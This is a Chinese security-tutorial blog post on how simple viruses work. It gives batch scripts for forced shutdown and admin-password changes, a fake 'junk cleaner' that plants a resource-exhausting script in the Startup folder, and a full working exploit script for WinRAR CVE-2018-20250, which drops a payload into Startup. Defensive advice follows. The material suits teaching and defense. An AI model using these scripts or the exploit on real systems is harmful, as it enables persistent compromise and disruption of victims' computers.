[系统安全] 十八.病毒攻防机理及WinRAR恶意劫持漏洞(bat病毒、自启动、定时关机、蓝屏攻击)

拼搏现实的明天。 2022-10-27 01:39 67阅读 0赞

**您可能之前看到过我写的类似文章，为什么还要重复撰写呢？只是想更好地帮助初学者了解病毒逆向分析和系统安全，更加成体系且不破坏之前的系列。因此，我重新开设了这个专栏，准备系统整理和深入学习系统安全、逆向分析和恶意代码检测，“系统安全”系列文章会更加聚焦，更加系统，更加深入，也是作者的慢慢成长史。换专业确实挺难的，逆向分析也是块硬骨头，但我也试试，看看自己未来四年究竟能将它学到什么程度，漫漫长征路，偏向虎山行。享受过程，一起加油~**

**作者前文介绍了Windows PE病毒， 包括PE病毒原理、分类及感染方式详解；这篇文章将讲解简单的病毒原理和防御知识，并通过批处理代码和漏洞（CVE-2018-20250）利用让大家感受下病毒攻击的过程，提出了安全相关建议，包括自动启、修改密码、定时关机、蓝屏、进程关闭等功能。** 这些基础性知识不仅和系统安全相关，同样与我们身边常用的软件、操作系统紧密联系，希望这些知识对您有所帮助，更希望大家提高安全意识，安全保障任重道远。本文参考了参考文献中的文章（尤其感谢千峰教育史密斯老师 \[峰哥\]），并结合自己的经验和实践进行撰写，也推荐大家阅读参考文献。

### 文章目录 ###

*  一.批处理病毒机理
 *   *  1.关机bat脚本
     *  2.修改密码和定时关机脚本
     *  3.脚本病毒防御
 *  二.自启动恶意攻击机理
 *   *  1.bat脚本实现自启动
     *  2.WinRAR恶意劫持自启动（CVE-2018-20250）
     *  3.恶意自启动防御
 *  三.进程关闭脚本
 *  四.蓝屏攻击机理
 *   *  1.bat脚本实现蓝屏攻击
     *  2.最新漏洞Chrome致Win10蓝屏复现
 *  五.简单的扩展名修改恶意攻击
 *  六.总结

> 从2019年7月开始，我来到了一个陌生的专业——网络空间安全。初入安全领域，是非常痛苦和难受的，要学的东西太多、涉及面太广，但好在自己通过分享100篇“网络安全自学”系列文章，艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们，如果写得不好或不足之处，还请大家海涵！  
>   
> 接下来我将开启新的安全系列，叫“系统安全”，也是免费的100篇文章，作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等，也将通过在线笔记和实践操作的形式分享与博友们学习，希望能与您一起进步，加油~
> 
>  *  推荐前文：[网络安全自学篇系列-100篇][-100]

**作者的github资源：**

*  逆向分析：[https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis][https_github.com_eastmountyxz_SystemSecurity-ReverseAnalysis]
 *  网络安全：[https://github.com/eastmountyxz/NetworkSecuritySelf-study][https_github.com_eastmountyxz_NetworkSecuritySelf-study]

**前文分析：**

*  [\[系统安全\] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向][_.]
 *  [\[系统安全\] 二.如何学好逆向分析及吕布传游戏逆向案例][_. 1]
 *  [\[系统安全\] 三.IDA Pro反汇编工具初识及逆向工程解密实战][_.IDA Pro]
 *  [\[系统安全\] 四.OllyDbg动态分析工具基础用法及Crakeme逆向][_.OllyDbg_Crakeme]
 *  [\[系统安全\] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏][_.OllyDbg_Cheat Engine]
 *  [\[系统安全\] 六.逆向分析之条件语句和循环语句源码还原及流程控制][_. 2]
 *  [\[系统安全\] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向][_._PE_C_OllyDbg]
 *  [\[系统安全\] 八.Windows漏洞利用之CVE-2019-0708复现及蓝屏攻击][_.Windows_CVE-2019-0708]
 *  [\[系统安全\] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度提权][_.Windows_MS08-067]
 *  [\[系统安全\] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞（CVE-2020-0796）复现][_.Windows_SMBv3_CVE-2020-0796]
 *  [\[系统安全\] 十一.那些年的熊猫烧香及PE病毒行为机理分析][_._PE]
 *  [\[系统安全\] 十二.熊猫烧香病毒IDA和OD逆向分析（上）病毒初始化][_._IDA_OD]
 *  [\[系统安全\] 十三.熊猫烧香病毒IDA和OD逆向分析（中）病毒释放机理][_._IDA_OD 1]
 *  [\[系统安全\] 十四.熊猫烧香病毒IDA和OD逆向分析–病毒释放过程（下）][_._IDA_OD 2]
 *  [\[系统安全\] 十五.Chrome浏览器保留密码功能渗透解析、蓝屏漏洞及某音乐软件漏洞复现][_.Chrome]
 *  [\[系统安全\] 十六.PE文件逆向基础知识(PE解析、PE编辑工具和PE修改)][_.PE_PE_PE_PE]
 *  [\[系统安全\] 十七.Windows PE病毒概念、分类及感染方式详解][_.Windows PE]
 *  [\[系统安全\] 十八.病毒攻防机理及WinRAR恶意劫持漏洞(脚本病毒、自启动、定时关机、蓝屏攻击)][_._WinRAR]

> 声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。该样本不会分享给大家，分析工具会分享。（参考文献见后）

--------------------

# 一.批处理病毒机理 #

计算机病毒（Computer Virus）是编制者在计算机程序中插入的破坏计算机功能或者数据的代码，能影响计算机使用，能自我复制的一组计算机指令或者程序代码。计算机病毒具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。计算机病毒的生命周期：

*  开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期

计算机病毒是一个程序，一段可执行码。就像生物病毒一样，具有自我繁殖、互相传染以及激活再生等生物病毒特征。计算机病毒有独特的复制能力，它们能够快速蔓延，又常常难以根除。它们能把自身附着在各种类型的文件上，当文件被复制或从一个用户传送到另一个用户时，它们就随同文件一起蔓延开来。常见病毒如“爱虫”病毒、CIH病毒、木马病毒（Trojan）、脚本病毒、宏病毒等等。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center]

本文首先通过批处理bat文件模拟简单的病毒功能，让大家简单感受下病毒的某些功能。包括：

*  自动关机
 *  修改密码
 *  定时关机

bat文件是dos下的批处理文件。批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下输入批处理文件的名称，或者双击该批处理文件，系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件或脚本，可以简化日常或重复性任务。入侵者常常通过批处理文件的编写来实现多工具的组合入侵、自动入侵及结果提取等功能.

> **注意：再次强调，本文仅仅是普及安全知识和病毒背后的机理，让大家更好进行防御工作。如果需要复现样本，一定在自己的虚拟机中完成，一切犯罪行为必将受到严惩。**

--------------------

## 1.关机bat脚本 ##

下面讲解第一个批处理脚本，主要是调用“shutdown”实现关机。该批处理脚本能让我们最快的熟悉脚本的恶意功能，其基本步骤如下：

*  新建文本文档
 *  输入 shutdown -s -t 600
 *  把txt改成bat

如下图所示，运行CMD可以查看shutdown命令的基本用法。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 1]

基本命令为：

shutdown -s -t 600
    //现在让系统600秒之后关机
    
    shutdown -a
    //终止关闭计算机

运行结果如下图所示：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 2]

新建“test.bat”并填写“shutdown -s -t 600”，某些系统需要在“文件夹选项”中，显示“隐藏已知文件类型的扩展名”。

![在这里插入图片描述][20191112105451630.png_pic_center]

双击BAT文件即运行关机，如果需要取消，还是在CMD黑框中输入“shutdown -a”命令。

![在这里插入图片描述][20191112105608263.png_pic_center]

--------------------

## 2.修改密码和定时关机脚本 ##

接下来分享一个比较完整的bat脚本制作过程，这些代码对批处理功能熟悉和脚本病毒逆向分析都有帮助。

**第一步，新建game.bat文件。**

![在这里插入图片描述][2020020217112233.png_pic_center]

程序编写如下所示，其中“@echo off”表示关闭回显，“color 0a”表示设置颜色。

@echo off
    color 0a
    title Eastmount程序
    
    echo ===================================
    echo                 菜单
    echo           1.修改管理员密码
    echo           2.定时关机
    echo           3.退出本程序
    echo ===================================
    
    pause

运行结果如下图所示，可以看到标题为“Eastmount程序”，并且包含相关内容，这就是批处理文件执行过程。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 3]

**第二步，做一个选择判断，该程序需要和用户进行互动。**  
核心代码为“set /p num=您的选择是：”，其表示设置变量num，“/p”表示暂停并等待用户输入，用户最终输入的值赋为num。

@echo off
    color 0a
    title Eastmount程序
    
    echo ===================================
    echo                 菜单
    echo           1.修改管理员密码
    echo           2.定时关机
    echo           3.退出本程序
    echo ===================================
    
    set /p num=您的选择是：
    
    pause

输出结果如下图所示：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 4]

**第三步，补充修改管理员密码、定时关机、退出等命令（病毒常用功能）。**  
修改管理员密码的命令是微软所有系统的通用命令，下述代码是修改当前管理员密码为“123456”。

*  net user administrator 123456

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 5]

第二个选项是关机，命令如下：

*  shutdown -s -t 100

第三个选项是退出本程序。

*  exit

接着编写判断和跳转批处理代码，代码如下所示，“>nul”表示不输出运行提示信息。虽然goto语句不提倡使用，但某些情况下还是挺便捷的。

@echo off
    color 0a
    title Eastmount程序
    
    :menu
    echo ===================================
    echo                 菜单
    echo           1.修改管理员密码
    echo           2.定时关机
    echo           3.退出本程序
    echo ===================================
    
    set /p num=您的选择是：
    if "%num%"=="1" goto 1
    if "%num%"=="2" goto 2
    if "%num%"=="3" goto 3
    
    :1
    net user administrator 123456 > nul
    echo 您的密码已经设置成功！
    pause
    goto menu
    
    :2
    shutdown -s -t 100
    goto menu
    
    :3
    exit

此时输入“1”会提示系统错误，如下图所示：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 6]

同时，杀毒软件也会提示黑客修改电脑，点击“允许操作”即可，

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 7]

继续完善脚本：

*  增加“cls”命令清屏
 *  为了避免输入数字“4”会从头执行到尾，补充一个提示信息
 *  最后补充设置的用户名和新密码，关机时间等

@echo off
    color 0a
    title Eastmount程序
    
    :menu
    cls
    echo ===================================
    echo                 菜单
    echo           1.修改管理员密码
    echo           2.定时关机
    echo           3.退出本程序
    echo ===================================
    
    set /p num=您的选择是：
    if "%num%"=="1" goto 1
    if "%num%"=="2" goto 2
    if "%num%"=="3" goto 3
    
    echo 您好！请输入1-3正确的数字
    pause
    goto menu
    
    :1
    set /p u=请输入用户名:
    set /p p=请输入新密码:
    net user %u% %p% >nul
    echo 您的密码已经设置成功！
    pause
    goto menu
    
    :2
    set /p time=请输入时间:
    shutdown -s -t %time%
    goto menu
    
    :3
    exit

以“管理员身份运行”后，成功修改“xxxxx”用户的开机密码为“12345”。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 8]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 9]

输入2可以设置关机时间，这里就不再赘述，批处理脚本实现某些恶意功能的过程已经详细讲解。

--------------------

## 3.脚本病毒防御 ##

上面主要介绍了批处理bat脚本实现关机和修改管理员密码的功能。但在真正的网络攻防过程中，脚本病毒和宏病毒更常见，这里分享下它们的防御方法。

脚本病毒是主要采用脚本语言设计的计算机病毒。现在流行的脚本病毒大都是利用JavaScript和VBScript脚本语言编写。实际上在早期的系统中，病毒就己经开始利用脚本进行传播和破坏，不过专门的脚本型病毒并不常见。但是在脚本应用无所不在的今天，脚本病毒却成为危害大、传播广的病毒，特别是当它们和一些传统的进行恶性破坏的病毒如CIH相结合时其危害就更为严重了。

![在这里插入图片描述][20210202223927526.png_pic_center]

随着计算机系统软件技术的发展，新的病毒技术也应运而生，特别是结合脚本技术的病毒更让人防不胜防，比如在APT中鱼叉式钓鱼邮件结合宏病毒（Office文档）就很常见。由于脚本语言的易用性，并且脚本在现有应用系统中特别是Internet应用中占据了重要地位，脚本病毒也成为互联网病毒中最为流行的网络病毒之一。常见脚本文件后缀：

*  .VBS、.VBE、.JS、.BAT、.CMD

常见的防御措施包括：

*  防范VBS（Visual Basic Script）脚本病毒，比如禁用文件系统对象 regsvr32 scrrun.dll/u
 *  在浏览器设置中将ActiveX插件和控件以及JS相关功能禁止掉，这样可以避免一些恶意代码的攻击，不过也会限制一些制作精美的动态网页
 *  及时升级系统和浏览器补丁，选择一款好的防病毒软件并做好及时升级
 *  防止鱼叉式钓鱼邮件攻击，不要轻易去浏览或点击一些来历不明的网站、邮件、文件，这样大部分的恶意代码都会被我们拒之“机”外
 *  小心处理Office文档，除非确认文档来源可靠，充分了解打开文档的后果，否则务必不要开启Office启用宏代码
 *  使用云沙箱和本地安全软件对可疑文件进行检测
 *  提升安全意识，尤其内部人员的安全意识

--------------------

# 二.自启动恶意攻击机理 #

上一篇文章我们介绍了PE病毒控制权获取的常用方法，当计算机重启后，病毒自启动是一个重要的功能。常用方法包括：

*  病毒融合Autoruns自启动机制  
    下图展示了Autoruns软件查看Windows操作系统的自启动选项，如果病毒本身能很好地结合这套机制，它可以做的事情非常多，并且具有很好的隐蔽性。
 *  利用系统自动播放机制Autorun.inf  
    比如U盘病毒或光盘病毒就是利用U盘或光盘的自动播放功能。目前，也有一些U盘插入之后，不需要你去双击这个U盘，里面的程序就会自启动。
 *  在其他可执行文件嵌入少量触发代码  
    修改引入函数节启动DLL病毒文件（添加相应结构，初始化代码触发），在特定PE文件代码段插入触发代码等（只需定位可执行程序并运行）。
 *  DLL劫持：替换已有DLL文件  
    很多应用程序或操作系统执行时，都会去执行DLL文件，如果病毒将自身做成一个DLL文件，同时将系统DLL文件替换。可想而知，系统启动时，它是根据文件名启动的，此时病毒DLL文件就会拿到控制权，如果拿到控制权之后再进一步装载原始DLL文件，这样系统的本身机制也不会受到影响，隐蔽性更强。该方法非常常见，甚至有一些病毒程序将反病毒软件可依赖的DLL文件替换。
 *  利用0day或1day漏洞实现自启动，接着我们将详细介绍WinRAR恶意劫持漏洞，复现CVE-2018-20250

注意，后续Windows黑客编程文章，作者也会详细介绍各种自启动的代码（C++\\Python）实现方法。

![在这里插入图片描述][20210202225603496.png_pic_center]

--------------------

## 1.bat脚本实现自启动 ##

接着编写一个伪装成“系统垃圾清理”的代码，它其实是一个导致系统死机的代码，也不能算是“病毒”，更多是一个恶作剧程序。但它能让我们了解脚本病毒的某些功能，其原理是不断打开CMD程序，占用系统资源从而导致死机，并且每次开机都会自动启。

> PS：这里强调一句，建议大家在虚拟机中运行该代码。我们作为安全工程师，希望您们去了解漏洞背后的原理，更好地进行防御，绿色网络需要我们共同维护，杜绝一切违法行为。

**第一步，在C:\\windows目录下创建文件“windows.bat”。一个“>”表示覆盖文件内容，两个“>>”表示追加一句话至文件末尾。**

*  echo start cmd >c:\\windows\\windows.bat
 *  echo %0>>c:\\windows\\windows.bat

用户打开这个程序之后，程序就会不断打开cmd，占用系统资源，导致系统瘫痪，%0是再次执行该程序的意思。但是，这样只能让用户死机一次，重启系统以后，不再打开这个文件以后，就不再会中招了。

**第二步，将这个恶意脚本放到开机菜单中，每次开机都自动启动运行并导致电脑死机。**  
errorlevel为预定义变量，随着系统变化而变化。如果为0表示上一条命令执行成功，如果非0表示上一条命令执行失败，它不是Win7系统，而执行下面这条命令（XP系统、2003系统）。

![在这里插入图片描述][20200203172526883.png_pic_center]

代码“echo.”表示空行，比如代码：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 10]

输出结果如下图所示：

![在这里插入图片描述][20200202191117846.png_pic_center]

**第三步，接着编写next区域代码，完整代码如下所示。**

@echo off
    title 系统垃圾清理
    color 2f
    echo 	=====若有杀毒软件恶意拦截，请选择【允许程序的所有操作】====
    echo.
    echo.
    
    echo start cmd >c:\windows\windows.bat
    ::echo %%0>>c:\windows\windows.bat
    
    copy c:\windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\">nul
    if %errorlevel%==0 goto next
    
    copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动\">nul
    if %errorlevel%==1 goto error
    
    :next
    echo.
    echo.
    echo 	=====垃圾清理中，请不要关闭窗口=========
    echo.
    ping -n 5 127.0.0.1>nul
    echo.
    echo 	=====垃圾清理完毕,共清理垃圾500M=======
    echo.
    echo.
    echo 	=====建议立即重启电脑==========
    pause
    
    :error
    echo.
    echo.
    echo 	======程序运行失败，请【使用管理员权限】重新运行！========
    echo.
    pause

注意，我注释了重复操作代码“::echo %%0>>c:\\windows\\windows.bat”，否则开机自启动很麻烦。接着运行代码，如下图所示，需要右键“以管理员身份运行”。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 11]

代码会在C:\\windwos目录下创建批处理文件“windows.bat”。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 12]

同时，在我的Win10系统开机自动动目录下也有该文件。  
目录：…\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 13]

打开该文件可以看到写入的“start cmd”代码，表示打开CMD。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 14]

双击该“windows.bat”文件，运行结果如下图所示。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 15]

**总结：** 该部分编写了一个系统清理工具，其实是把这个windows.bat写到用户的开机自启动目录下，达到用户每次开机，都会运行该程序的目的，重复调用CMD占用资源。如果中了该病毒，用户可以使用PE到开启启动目录把windows.bat文件删除，或者重装系统，再次建议大家别让它重复运行。

--------------------

## 2.WinRAR恶意劫持自启动（CVE-2018-20250） ##

WinRAR漏洞（CVE-2018-20250）是Check Point团队于2019年2月爆出的严重安全漏洞，该漏洞已存在于WinRAR中19年，是APT攻击中非常经典的漏洞。由于WinRAR使用了一个陈旧的UNACEV2.dll动态链接库造成的。当我们解压任意ACE文件时，由于没有对文件名进行充分过滤，导致其可实现目录穿越，将恶意软件写入操作系统启动Startup文件夹，并且电脑重启时会自动运行该程序，从而造成恶意软件劫持。通过该漏洞可以获得受害者计算机的控制。安全专家表示全球有超过5亿用户受到WinRAR漏洞影响。

![在这里插入图片描述][2020010721032621.png_pic_center]

下面我们先来复现该漏洞。该漏洞会对多种压缩软件造成影响，版本如下：

*  WinRAR < 5.70 Beta 1
 *  Bandizip < = 6.2.0.0
 *  好压(2345压缩) < = 5.9.8.10907
 *  360压缩 < = 4.0.0.1170

**第一步，安装WinRAR 5.6.1的版本，后续5.7升级弥补了该漏洞。作者的电脑是Win10操作系统。**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 16]

安装之后可以看到本地存在的UNACEV2.DLL动态链接库，它就是被利用的入口。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 17]

**第二步，从github中下载漏洞利用程序，如下图所示。**

*  hello.txt和world.txt是需要压缩的文件
 *  calc.exe是计算器，可以替换成恶意软件，它会被定向植入系统启动目录
 *  exp.py是运行的Python代码，它会将hello.txt和world.txt压缩，并隐藏恶意软件
 *  acefile.py是利用UNACEV2.DLL漏洞的代码，共4000多行  
    下载地址：[https://github.com/backlion/CVE-2018-20250][https_github.com_backlion_CVE-2018-20250]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 18]

我们尝试打开exp.py文件，代码如下，其中恶意软件为“calc.exe”、压缩包名称为“test.rar”、需要压缩的文件为“hello.txt”和“world.txt”、隐藏的路径为Windows系统开机启动的目录，并命名为“hi.exe”。读者也可以尝试修改名称，自定义需要压缩的文件及恶意软件。

#!/usr/bin/env python3
    
    import os
    import re
    import zlib
    import binascii
    
    # The archive filename you want
    rar_filename = "test.rar"
    # The evil file you want to run
    evil_filename = "calc.exe"
    # The decompression path you want, such shown below
    target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
    # Other files to be displayed when the victim opens the winrar
    # filename_list=[]
    filename_list = ["hello.txt", "world.txt"]
    
    class AceCRC32:
        def __init__(self, buf=b''):
            self.__state = 0
            if len(buf) > 0:
                self += buf
    
        def __iadd__(self, buf):
            self.__state = zlib.crc32(buf, self.__state)
            return self
    
        def __eq__(self, other):
            return self.sum == other
    
        def __format__(self, format_spec):
            return self.sum.__format__(format_spec)
    
        def __str__(self):
            return "0x%08x" % self.sum
    
        @property
        def sum(self):
            return self.__state ^ 0xFFFFFFFF
    
    def ace_crc32(buf):
        return AceCRC32(buf).sum
    
    def get_ace_crc32(filename):
        with open(filename, 'rb') as f:
            return ace_crc32(f.read())
    
    def get_right_hdr_crc(filename):
        # This command may be different, it depends on the your Python3 environment.
        p = os.popen('py -3 acefile.py --headers %s'%(filename))
        res = p.read()
        pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
        result = pattern.findall(res)
        right_hdr_crc = result[0].upper()
        return hex2raw4(right_hdr_crc)
    
    def modify_hdr_crc(shellcode, filename):
        hdr_crc_raw = get_right_hdr_crc(filename)
        shellcode_new = shellcode.replace("6789", hdr_crc_raw)
        return shellcode_new
    
    def hex2raw4(hex_value):
        while len(hex_value) < 4:
            hex_value = '0' + hex_value
        return hex_value[2:] + hex_value[:2]
    
    def hex2raw8(hex_value):
        while len(hex_value) < 8:
            hex_value = '0' + hex_value
        return hex_value[6:] + hex_value[4:6] + hex_value[2:4] + hex_value[:2]
    
    def get_file_content(filename):
        with open(filename, 'rb') as f:
            return str(binascii.hexlify(f.read()))[2:-1] # [2:-1] to remote b'...'
    
    def make_shellcode(filename, target_filename):
        if target_filename == "":
            target_filename = filename
        hdr_crc_raw = "6789"
        hdr_size_raw = hex2raw4(str(hex(len(target_filename)+31))[2:])
        packsize_raw = hex2raw8(str(hex(os.path.getsize(filename)))[2:])
        origsize_raw = packsize_raw
        crc32_raw = hex2raw8(str(hex(get_ace_crc32(filename)))[2:])
        filename_len_raw = hex2raw4(str(hex(len(target_filename)))[2:])
        filename_raw = "".join("{:x}".format(ord(c)) for c in target_filename)
        content_raw = get_file_content(filename)
        shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw \
                  + origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"\
                  + filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9"
        return shellcode
    
    def build_file(shellcode, filename):
        with open(filename, "wb") as f:
            f.write(binascii.a2b_hex(shellcode.upper()))
    
    def build_file_add(shellcode, filename):
        with open(filename, "ab+") as f:
            f.write(binascii.a2b_hex(shellcode.upper()))
    
    def build_file_once(filename, target_filename=""):
        shellcode = make_shellcode(filename, target_filename)
        build_file_add(shellcode, rar_filename)
        shellcode_new = modify_hdr_crc(shellcode, rar_filename)
        content_raw = get_file_content(rar_filename).upper()
        build_file(content_raw.replace(shellcode.upper(),
                                       shellcode_new.upper()).replace("01020304050607080910A1A2A3A4A5A6A7A8A9",
                                                                      get_file_content(filename)), rar_filename)
    
    if __name__ == '__main__':
        print("[*] Start to generate the archive file %s..."%(rar_filename))
    
        shellcode_head = "6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A"
        build_file(shellcode_head, rar_filename)
    
        for i in range(len(filename_list)):
            build_file_once(filename_list[i])
    
        build_file_once(evil_filename, target_filename)
    
        print("[+] Evil archive file %s generated successfully !"%(rar_filename))

**第三步，打开Python运行exp.py代码，将自动生成test.rar压缩包。**  
注意，如果未安装Python或相关包，需要进行安装。同时不能双击exp.py，需要Python来运行代码。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 19]

**第四步，此时在当前文件夹生成了test.rar文件，将该压缩包发送给其他用户，如果目标电脑存在WinRAR漏洞，则会造成影响。**

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 20]

注意：QQ和Win10防火墙已经能识别出该CVE漏洞号，如下图所示。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 21]

**第五步，当目标用户在桌面解压该文件夹，则会在电脑启动目录放入我们的木马文件，命名为“hi.exe”。**

![在这里插入图片描述][20200108172301854.png_pic_center]

Win10路径：

*  C:\\Users\\xxxx\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 22]

这里演示的是计算器，而如果植入恶意软件，则每次目标开机运行就会自启动该恶意代码。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 23]

注意：当目标用户解压我们文件时，其解压目录必须是 C:/users/当前用户/目录下，也就是必须是在下面这些目录中解压的该文件。压缩包中隐藏了深层次的路径，xp系统自启动路径可能不同。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 24]

--------------------

## 3.恶意自启动防御 ##

这里补充手动查杀病毒的基本流程，它在一定程度上能有效防止病毒的恶意功能。

*  **排查可疑进程**  
    因为病毒往往会创建出来一个或者多个进程，因此需要分辨出哪些进程是由病毒所创建，然后删除可疑进程。
 *  **检查启动项**  
    病毒为了实现自启动，会采用一些方法将自己添加到启动项中，从而实现自启动，所以我们需要把启动项中的病毒清除。
 *  **删除病毒**  
    在上一步的检查启动项中，我们就能够确定病毒主体的位置，这样就可以顺藤摸瓜，从根本上删除病毒文件。
 *  **修复被病毒破坏的文件**  
    这一步一般来说无法直接通过纯手工完成，需利用相应的杀毒软件。

就自启动来说，我们首先需要检测启动项创建的位置及键值。如下图“熊猫烧香”病毒取消勾选“spoclsv”启动项，点击“确定”。

*  **C:\\WINDOWS\\System32\\drivers\\spoclsv.exe**
 *  **HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run**

![在这里插入图片描述][20210202235944613.png_pic_center]

同时，打开注册表查看对应的值，发现创建了一个svcshare的值，它也是自启动对应exe程序。因此，需要删除注册表某些自启动键值。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Vhc3Rtb3VudA_size_16_color_FFFFFF_t_70_pic_center 25]

